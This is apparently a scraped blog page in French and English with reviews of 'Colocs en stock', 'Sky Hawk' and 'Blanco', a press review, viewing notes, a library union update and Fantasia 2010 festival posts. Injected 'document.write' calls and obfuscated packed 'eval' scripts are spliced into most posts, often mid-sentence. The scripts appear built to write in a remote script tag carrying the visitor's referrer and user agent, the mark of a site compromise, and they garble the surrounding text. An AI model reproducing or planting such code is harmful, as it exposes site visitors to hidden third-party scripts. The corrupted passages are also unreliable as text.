Colocs en stock

“Les albums de Tintin furent très tôt traduits (à partir de 1952) dans la plupart des langues du monde. Ainsi, document.write(“”); par l’entremise de ces traductions, Tintin est devenu un personnage réellement universel, connu de la Chine à l’Islande, de la Slovénie à la Thaïlande. Outil d’apprentissage ou d’immersion, l’album de Tintin peut, au fil des langues, devenir également une source de plaisir esthétique et visuel. Le lotus bleu en chinois ou Tintin au Tibet en tibétain raviront les amateurs et rendent justice à la portée universelle du génie d’Hergé.” [texte de présentation sur le site de l’éditeur — pour le texte de couverture arrière, voir l’image ci-bas]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hesir|var|u0026u|referrer|rditd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aefbz|var|u0026u|referrer|fsehi||js|php’.split(‘|’),0,{}))

Colocs en stock c’est la version québécoise de Coke en stock. Un peu avant sa parution, j’en ai lu la nouvelle avec incrédulité mais n’y ai pas porté trop d’attention (ayant d’autre chat à reviouer). Il y a quelques semaines, quand un collègue de la bibliothèque où je travaille me l’a mis entre les mains, je me suis dit que je devrais bien le lire, ne serait-ce que par curiosité… Alors: Traduire Tintin en plusieurs langues ça fait du sens pour accroitre la diffusion de ce qui est un icône de la BD. Le traduire en dialecte m’apparait toutefois comme une entreprise futile puisque les gens du Québec peuvent très bien lire et comprendre la version française traditionnelle. A la rigueur j’aurais vu une version localisée qui s’en tient à adapter les choses qui sont typiquement européennes et que les québécois peuvent difficilement comprendre (dans le genre changer “loterie du San Theodoros” par “6/49”, faute d’un meilleur exemple), mais tout traduire en joual? Non, vraiment pas nécessaire. C’est une curiosité, un exercice amusant; sans plus.

La meilleur c’est d’entendre (ou de lire) le serviteur de l’émir s’exclamer “je l’sais-tu, moé ?” C’est pas si pire de mettre ce genre d’expressions dans la bouche du capitaine Haddock (une chance qu’y continue à dire “mille milliards de mille sabords!”) mais de voir un journaliste cultivé comme Tintin dire des choses comme “Toé, si j’te pogne!” il me semble que ça “fite” pas pantoutte avec le personnage… Une grande déception: pas un seul sacre de tout l’album. I’me semble qu’Haddock aurait bien pu lâcher un tabarnak quec’part (oups! c’est contagieux, ce language). C’est tout de même drôle à lire (ou re-lire).

Pour vous donner une idée, voici la première page de Colocs en stock et celle de Coke en stock:

Puis les pages 2 et 3 de Colocs en stock:

Finalement, la page 4 de Colocs en stock et celle de Coke en stock:

Je ne suis d’ailleurs pas le seul à avoir un avis mitigé sur cet album comme en font foi ces critiques du Devoir (2008/11/20), de La Presse (2009/10/21) et Radio-Canada (2009/10/16). On trouve également sur Canoë un mini-interview avec Yves Laberge.

Colocs en stock par Hergé (adaptation par Yves Laberge). Casterman, 2009. Couleur, 22.6 x 30.4 cm, 64 pgs. 9.95 € / $19.95 Can. Recommandé pour tous? (7+). ISBN: 978-2-203-02655-1.
Colocs en stock © Casterman, 2009.

Sky Hawk

“Hikosaburô et Manzô, document.write(“”); deux samouraïs exilés aux Etats-Unis depuis la restauration de Meiji (1868), vivent de leur chasse sur le territoire des Indiens Crow.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yszka|var|u0026u|referrer|bbird||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbhik|var|u0026u|referrer|hsaen||js|php’.split(‘|’),0,{}))

“Un jour, Hikosaburô porte secours à une Indienne, Running Deer, poursuivie par des chasseurs de prime. Ils sont sauvés in extremis par un groupe de guerriers Oglagla conduits par Crazy Horse. Le chef indien, fasciné par la technique de combat des deux samouraïs, les invite à rejoindre son campement pour enseigner le ju-jitsu à ses hommes. Une profonde amitié va alors naître entre eux.”

“Devenus Sky Hawk et Winds Wolf, les deux samouraïs vont lutter aux côtés des Indiens contre les hommes blancs venus à la conquête de l’Ouest. La bataille pour sauver leur terre sacrée des Black Hills s’annonce terrible, mais ces valeureux guerriers sont bien décidés à lutter jusqu’au bout.”

“Avec SKY HAWK, Jirô Taniguchi nous livre un western fascinant où bushidô japonais et code d’honneur indien se retrouvent autour des mêmes valeurs. Les décors du far-west américain et le style épuré de l’auteur servent à merveille l’histoire d’une amitié improbable.” [Texte de présentation du rabat de couverture ainsi que du site de l’éditeur]

Sky Hawk (??? / Ten no taka / lit. “Faucon Céleste”) a été publié au Japon par Futabasha en 2002 et en France par Casterman (collection Sakka) en 2009. Taniguchi démontre une fois de plus sa polyvalence par le fait qu’il est à l’aise avec une grande diversité de genres. Il poursuit son rapprochement avec la BD franco-belge en s’attaquant cette fois au western, un genre typiquement occidental. Dans la préface de l’ouvrage, Jean “Moebius” Giraud se targue d’ailleurs que le western survit maintenant plus dans la BD franco-belge que dans le cinéma Hollywoodien. Et Taniguchi, dans la postface, avoue encore une fois avoir grandement été influencé et stimulé par cette BD européenne, particulièrement—dans le cas de Sky Hawk—par les “séries de western telles que Mac Coy [Gourmelen & Palacios], Blueberry [Charlier & Giraud], Comanche [Herman & Greg], Jonathan Cartland [Harlé & Blanc-Dumont]”. Il a bien sûr également été inspiré par le western hollywoodien (des films comme Little Big Man, Jeremiah Johnson, Un homme nommé cheval, Danse avec les Loups ou Le Derniers des Mohicans). Il précise qu’il voulait faire du western depuis longtemps mais qu’il cherchait une façon d’introduire le genre d’une manière qui serait appréciée par le public japonais. C’est alors qu’il eut l’idée de mettre en scène des personnages Japonais.

Sky Hawk semble bien loin de l’humanisme et des déambulations introspectives du Journal de mon père ou Quartier Lointain. On y retrouve pourtant une des thématiques chères à Taniguchi: les vastes étendues de nature sauvage. En effet, Sky Hawk allie avec dextérité l’action et le naturalisme de Blanco à la violence et au récit historique de Kaze no Sho. Sur une toile de fond historique rigoureusement recherchée, Taniguchi superpose l’histoire de deux ronins exilés dans l’ouest américain. Si ces deux personnages sont eux fictifs, la présence de Japonais en Amérique à cette époque est un fait établi (il nous le précise dans la postface: “j’ai appris qu’en 1869 une quarantaine de Japonais du clan Aizu, ayant perdu la guerre de Boshin, avaient emprunté le bateau à vapeur China, partant de Yokohama pour se rendre à San Francisco”). Pour ancré l’authenticité du récit il le parsème de faits et de personnages historiques, le faisant culminer avec la bataille de Little Big Horn où Custer sera défait et tué.

Sky Hawk est une bonne occasion pour Taniguchi de dessiner ces grands espaces naturels et sauvages qu’il aime tant, mais aussi de tracer un parallèle entre les cultures nippone et amérindienne qui, toutes deux basées sur des croyances animistes, vouent un grand respect à la nature. La comparaison pourrait bien même être poussée au niveau politique: les deux samurai ont fuit le Japon après avoir été défait par les forces qui favorisaient l’influence européenne et se retrouvent en Amérique à lutter contre ces même européens qui veulent envahir l’ouest et détruire la culture amérindienne. On peut possiblement y voir une critique voilée de l’expension de l’influence américaine qui piétine injustement toutes les cultures par où elle passe, mais c’est par contre certainement un avertissement où Taniguchi nous rappelle que la destruction de la nature—illustrée ici par les bisons—a aussi des effets dévastateurs sur les cultures humaines.

Le style de Taniguchi s’est grandement amélioré depuis Blanco (1985) et Kaze no Sho (1992). La preuve en est ses superbes illustrations de début de chapitres. Il a maintenant une excellente maitrise du récit d’action, tout en conservant son style clair et précis. Sky Hawk est du pur Taniguchi à son meilleur. Malgré que ce soit un récit d’action, il nous entraine dans une marche à travers l’Ouest sauvage américain et suscite une sorte d’introspection sur la destruction du magnifique, mais fragile, équilibre de la nature (à laquelle l’homme appartient) et qui se fait souvent pour des raisons bassement égoïstes et politiques. A lire absolument.

Sky Hawk par Jir? TANIGUCHI. Casterman (Coll. Sakka), 2009. B&W, 15 x 21 cm, 288 pgs (dont 8 en couleur). 12.50 € / $26.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-02617-9.
Ten no Taka (Sky Hawk) © Jiro Taniguchi, 2002. © Casterman, 2009 pour la traduction française.

Références: notice bibliographique et notice Wikipedia.

Revue de Presse / Press Review (2010/07/09)

This week we had very hot temperatures which made it all quite tiring. I didn’t sleep well (because of back pain) and overall felt rather bad most of the time (despite air conditioning). I didn’t do much this week since I was stranded without either cable tv or internet on my first day off (tuesday; thanks Videotron!) and spend my second day off (today) worrying about this string of strong thunderstorms threatening to flood my basement with abundant rain. I feel so drained. I hate not having two days off in a row… Anyway, document.write(“”); the week was also abundant in news, so here’s a sample of what was worth reading:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazbe|var|u0026u|referrer|hzhiy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfiib|var|u0026u|referrer|rtkar||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

What we’ve been watching

There’s not much good series on TV lately because of the summer, document.write(“”); so my wife and I are watching mostly old stuff (previously recorded, purchased or downloaded).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iheki|var|u0026u|referrer|sentk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ideyy|var|u0026u|referrer|edieb||js|php’.split(‘|’),0,{}))

We have a big weakness for historical series and particularly for Brit TV, so, this year, after watching the superb
Lark Rise to Candleford, and devoting a considerable amount of time to the quite interesting 41-episode TV series Sherlock Holmes starring Jeremy Brett (which originally aired between 1984 and 1994), we’ve watched The Pacific, the last season of The Tudors and now we are currently watching Upstairs, Downstairs (1971-75; we’ve just started the second season).

As for movies, we tend to watch them in thematic clusters. After watching a bunch of Sherlock Holmes-related movies (Guy Ritchie’s version, of course, followed by Billy Wilder’s Private Life of Sherlock Holmes (1970), some old adaptations like A Study in Scarlet (1968, with Peter Cushing, which is in fact a TV episode) and others not worth mentioning), we’ve watched a bunch of Oscar-related movies (The Reader, Slumdog Millionaire, The Hurt Locker, The Young Victoria). After watching Vicky Cristina Barcelona, we went for a couple of Woody Allen movies (Match Point (starring The Tudors’ actor Jonathan Rhys Meyers), Scoop).

Then we bought two boxed sets of romantic comedy compilations: Music & Lyrics, Rumour Has It, Lucky You, Sweet November, Where the Heart Is, Ever After, and Someone Like You (all good and funny but, seriously, I’ve now seen enough romantic comedies for a while!).

After watching Gran Torino (as part of our Oscar streak), we strangely went for a bunch of old Clint Eastwood movies, all produced in 1971: Play Misty for Me (a thriller precursor of “Fatal Attraction”, where Clint made his directorial debut), The Beguiled and Dirty Harry.

Finaly, we’ve seen a couple of Japanese (or Japan-inspired) movies: Hachiko, A Dog Story (sad), Bare Essence of Life (weird and boring) and Love And Honor (nice!). Also we seem to have a predilection for old classics: A Summer Place (1959), Love Story (1970), Romeo and Juliet (1968, Franco Zeffirelli), La Belle et la Bête (1946, Jean Cocteau) and Le Déjeuner sur l’Herbe (1959, Jean Renoir).

On my own, I’ve also watched many movies since the beginning of the year: Avatar, the last two Harry Potter, Up in the Air, The Time Traveler’s Wife, 2012, Riverworld, the first two Twilight, W., Pi, and The Book of Eli. I like watching movies: it’s relaxing, it brings you into another world and takes your mind off your current problems. Most of those movies are good and worth mentioning, and if I’d like to write short reviews for all of them, I am unfortunately too busy and lazy to do so. But the festival season is starting and I should resume writing movies reviews (but I won’t post them all here, since I’ll keep some for other publications to come)…

Victoire! En quelque sorte…

Hier soir, document.write(“”); une employée de la bibliothèque Plateau Mont-Royal m’a informé que, mercredi, la bibliothécaire avait affiché un courriel reçu de l’arrondissement et portant sur l’assemblée sectorielle dédiée à la lettre d’entente de l’arrondissement Plateau Mont-Royal. Personne ne s’étant présenté à l’assemblée, l’entente n’a donc pas été signé et une nouvelle assemblée est prévue quelque part en septembre…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knrds|var|u0026u|referrer|rtfye||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfdb|var|u0026u|referrer|izfya||js|php’.split(‘|’),0,{}))

Ce résultat découle sans doute en partie de notre campagne pour inciter les auxiliaires à ne pas se présenter à l’assemblée sectorielle tant que le texte de l’entente n’aurait pas été présenté d’avance aux membres (en dépit du fait que, cette stratégie n’ayant préalablement pas porté fruit, nous ayons finalement recommendé aux membres d’assister à l’assemblée sectorielle). Toutefois les véritables causes de cet absentéisme sont fort probablement plutôt le désintérêt et la démobilisation des membres, et le fait que la réunion devait avoir lieu dans les locaux même du syndicat et non dans l’arrondissement.

C’est donc partie remise…

Gyoko: rocking the fish

This afternoon, document.write(“”); while watching a documentary on French TV, I discovered an intriguing Japanese rock band (aren’t they all?) which is singing the virtues of eating fish! After a little research I even found a Wall Street Journal article talking about them.

“Captain” Tsurizao Morita, a former tuna fisherman, works in his fish shop by day and become the leader of the rock-band Gyoko (meaning fishing port) at night to promote the fish industry and convince his fellow Japanese countrymen & women to eat more fish. All their songs are about fish. During concerts he wield a big fisherman’s knife, slicing real fish that they serve afterward to the public.

An old article on Detour Japan gives us more details on the band native of Urayasu in the Tokyo Bay. The band has its own website and has released several CDs, two of them available on Apple’s iTunes store (one self-titled album, Gyoko, offering twelve songs for only $1.99 US and the other, Fish & Peace, available for $11.88 US). They even have videoclips on YouTube! Here’s their song “Maguro” (Tuna):

There’s also a weird promo clip, a news report and an extract from a Spanish documentary

Japanese rock bands will never cease to amaze me. If they are still rocking around, someone should invite them to an anime convention!

Press Release: Panorama-cinéma est à Fantasia


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fneea|var|u0026u|referrer|sbedk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksaff|var|u0026u|referrer|baznd||js|php’.split(‘|’),0,{}))
Kuroneko: Voyages hallucinatoires, document.write(“”); fantômes et malédictions sous le signe du Japon
Montréal, le 6 juillet 2010Panorama-cinéma est très fier de s’associer au festival Fantasia dans le cadre de l’édition 2010. Cet été, la revue électronique sur le cinéma franchit un nouveau cap : l’édition imprimée. Quoi de plus naturel, à l’occasion de la sortie d’un numéro papier traitant de « L’humanisme d’après-guerre japonais », que de le présenter sous l’égide de Fantasia qui, en plus d’avoir servi à ces jeunes critiques à faire leurs armes, s’affirme comme le principal rendez-vous du cinéma asiatique à Montréal? À l’occasion, Fantasia et Panorama-cinéma proposent donc au public KURONEKO (1968, Kaneto Shindo), les 9 juillet (19 h 45, Salle J.A. De Sève), 14 juillet (15 h, Salle J.A. De Sève) et 15 juillet (18 h 30, Cinémathèque Québécoise).

Fantasia est depuis toujours un lieu de prédilection pour la revue électronique : le cinéma de genre, celui aux horizons éclatés ou encore le cinéma en marge, négligé par le grand public, ont toujours figuré dans la sphère d’intérêt de ses rédacteurs. En 2009, Panorama-cinéma publiait près de 40 critiques et une dizaine d’entrevues dans le cadre du festival. Cette année, Fantasia et Panorama-cinéma présentent un film ensemble : KURONEKO (1968) de Kaneto Shindo (auteur de L’île nue (1960), Onibaba (1964)). Faites l’expérience intime d’une magnifique copie 35 mm provenant des voûtes de Janus Films (distributeur affilié de la Collection Criterion), introuvable en Amérique du Nord! Inspiré par les contes traditionnels japonais, c’est un film de fantômes ayant servi d’inspiration à tout le courant récent de « j-horror » mené par des cinéastes tels que Hideo Nakata (Ringu, Dark Water) ou Takashi Shimizu (Ju-On). Mariage parfait pour une soirée digne de Fantasia : fantômes, malédictions, effets spéciaux audacieux et musique envoûtante. KURONEKO est une recette miracle pour les assoiffés du meilleur cinéma fantastique!

Le tout nouveau volet imprimé cerne un enjeu spécifique ou un courant cinématographique particulier pour l’explorer en profondeur. Le dossier imprimé contient des critiques, mais aussi des articles plus généraux et des essais libres qui divergeront de la forme préconisée sur le site actuel. Si on cherche à imprimer, c’est aussi pour laisser aux lecteurs un bel objet : tous nos numéros seront illustrés par des artistes ou bédéistes de la scène locale. Le premier recueil, dirigé par Mathieu Li-Goyette et signé par l’équipe de Panorama-cinéma et ses collaborateurs (dont Claude R. Blouin, spécialiste émérite du cinéma japonais) porte sur « L’Humanisme d’après-guerre japonais » (disponible dès le 15 juillet) et met l’accent sur divers cinéastes tels Ozu, Kurosawa, Mizoguchi et Kobayashi, le tout agrémenté d’illustrations du bédéiste montréalais Vincent Giard, qui a aussi signé la couverture que voici.

PROJECTIONS DE KURONEKO :

BANDE-ANNONCE :
http://www.youtube.com/watch?v=WGwLhcJ9T6o

« L’humanisme d’après-guerre japonais » sera disponible lors de la projection du 15 juillet, et sera dès cette date distribué en kiosques tout au long du festival. Il sera également possible de se le procurer en ligne.

Suivez-nous sur Facebook et www.panorama-cinema.com !

Blanco, Vol. 1-2

Blanco_cov1“Une ancienne légende inuit raconte qu’une fois tous les sept ans, les esprits de toutes les proies abattues par les chasseurs se réincarnent dans un être surpuissant à l’apparence d’un chien blanc, venu enlever la vie des hommes. Hiver 1989, Alaska. Deux chasseurs sont attaqués par un chien blanc à la tête d’une meute de loups. L’un des deux hommes trouve la mort instantanément suite à un exploit extraordinaire de la bête. Par la suite, l’armée américaine met secrètement la tête de l’animal à prix auprès de chasseurs chevronnés. Une chasse est lancée et un carnage a bien lieu: celui de tous ces braconniers. Une poursuite acharnée s’engage alors contre ce prédateur… Quel secret se cache derrière ce simple chien blanc pourtant si redoutable ? Légende maléfique ou secret militaire bien gardé ?” [Texte de présentation sur le site de l’éditeur]

Publié initialement sous le titre Chō Sentō Inu Buranka (超戦闘犬 ブランカ; littéralement “super chien de combat Blanca”, mais simplement traduit “Le chien Blanco”), Blanco [ブランカ, Blanca] a d’abord été sérialisé au Japon (1984-85) dans un magazine qui cessa de paraître avant que le récit soit complété, puis a été publié en volumes dans son intégralité par trois éditeurs successifs: Shodensha (1985-86), Futabasha (1990) et Shogakukan (1996). En France, Casterman le publie d’abord en 1996-97, sous le titre Le Chien Blanco, dans le sens de lecture occidental. Il est toutefois republié en 2009 dans la collection “Sakka”, cette fois dans le sens de lecture original, avec une nouvelle traduction et une meilleure qualité d’impression. Le premier volume arbore d’ailleurs huit pages couleur.

Blanco est l’un des premiers manga où Jirō TANIGUCHI scénarise ses propres histoires tout en s’attaquant à des récits plus long. Il y développe plus avant sont intérêt pour le naturalisme, auquel il avait pris goût alors qu’il n’était qu’un simple assistant et qu’il lisait Jack London et Ernest Thompson Seton—qui auront d’ailleurs une grande influence sur son oeuvre. On est toutefois encore loin des déambulations introspectives et du style clair et précis auxquels Taniguchi nous a habitué avec ses plus récents manga. Non, Blanco est une oeuvre plus fruste, un manga d’action où il dépeint la confrontation violente entre l’homme et la bête, sur un arrière-plan de nature sauvage immaculée et d’intrigue politique internationale.

Blanco_v1_p091

Vol. 1, page 91

Dans le premier volume, nous suivons Blanco, un chien blanc mystérieux qui possède des capacités extraordinaires. En provenance de Sibérie, il a traversé en Alaska par le détroit de Béring et continue inlassablement sa route au Yukon, en direction sud-est, vers une destination inconnue. Il est poursuivit par des agents et des militaires d’une puisssance étrangère—non pas les Américains (comme la présentation de l’édition française suggère de façon érronnée) mais la “République R” qui, après avoir tenté d’échapper à l’influence russe en développant une arme secrète [la Corée du Nord?], essaie maintenant d’en éliminer toutes traces. Blanco tue sans merci tout ceux qui s’interposent à sa course folle et, ce faisant, attirera l’attention d’un chasseur (dont les compagnons ont été tué par Blanco) et d’une biologiste (dont le collègue a été tué par les agents de la République R).

Blanco_cov2Dans le second volume, l’identité et les motivations de Blanco se précisent. Il est le fruit de modifications génétiques et a été kidnappé par les agents de la République R dans le but d’en faire une arme secrète meurtrière. Ayant réussi à s’échapper, il tente de rejoindre sa véritable maîtresse, Patricia, la petite-fille de son créateur, qui vit à New York. La poursuite s’intensifie: Shiba, le chasseur japonais, se fait des alliés mais revise ses intensions face à Blanco; Helène, la biologiste, retrace Patricia et découvre le secret du chien blanc; la République R envoi des commandos d’élite et une meute de chiens génétiquement modifiés pour éliminer définitivement Blanco. Toutefois, le métabolisme de celui-ci s’embale et s’épuise, lui laissant juste assez de force pour un dernier exploit avant de retrouver Patricia dans un climax touchant. Mais ce n’est pas la fin de l’histoire, puisqu’une louve a donné naissance aux petits de Blanco…

Blanco_v2_p161

Vol. 2, page 161

Je dois avouer avoir eu beaucoup de mal à embarquer dans cette histoire: les capacités surnaturelles de Blanco et certains éléments de l’histoire (un saut de 170 pieds? communication télépathique longue distance! des troupes étrangères entrant au Canada sans être détectées…) semblent trop invraissemblables; de plus, le récit démarre très lentement. Toutefois, si l’on est patient, on se fait éventuellement emporter par l’histoire. Le récit est fluide et Taniguchi maîtrise plutôt bien les scènes d’action. Mais, même si ce manga a été populaire au Japon et qu’il a été bien reçu en Europe, je crois que Blanco est une des oeuvres plutôt moyenne de Taniguchi. C’est bon et vaut la peine d’être lu mais sans plus.

Cette série se poursuit avec un deuxième cycle intitulé Kami no inu Blanca II (神の犬 ブランカII, “Blanca 2: Le chien des dieux”) qui a été sérialisé en 1995-96 et publié lui aussi en deux tomes. Casterman, dans son édition française, l’a simplement intégré à la première partie sous le seul titre de Blanco: le vol. 3, intitulé L’Heure du Loup (272 pg, ISBN: 978-2-203-02882-1), est paru en février 2010 et le vol. 4, intitulé La Croisée des Chemins (272 pg, ISBN: 978-2-203-03010-7), vient tout juste de paraître (le 30 juin 2010) et conclut la série. Nous commenterons séparément ces deux volumes plus tard.

Blanco Vol. 1: La Poursuite, Vol. 2: L’Instinct du Retour par Jirō TANIGUCHI. Casterman (Coll. Sakka), 2009. B&W, 15 x 21 cm, 280 & 288 pgs. 12.50 € / $24.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-02092-4 (vol. 1), 978-2-203-02524-0 (vol. 2). stars-2-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreads — Wikipedia — WorldCat ]

Blanco © Jiro Taniguchi, 1996. © Casterman, 2009 pour la traduction française.

[ Translate ]

Fantasia 2010


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syene|var|u0026u|referrer|btnad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ersda|var|u0026u|referrer|nenzt||js|php’.split(‘|’),0,{}))
Tuesday, document.write(“”);
Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

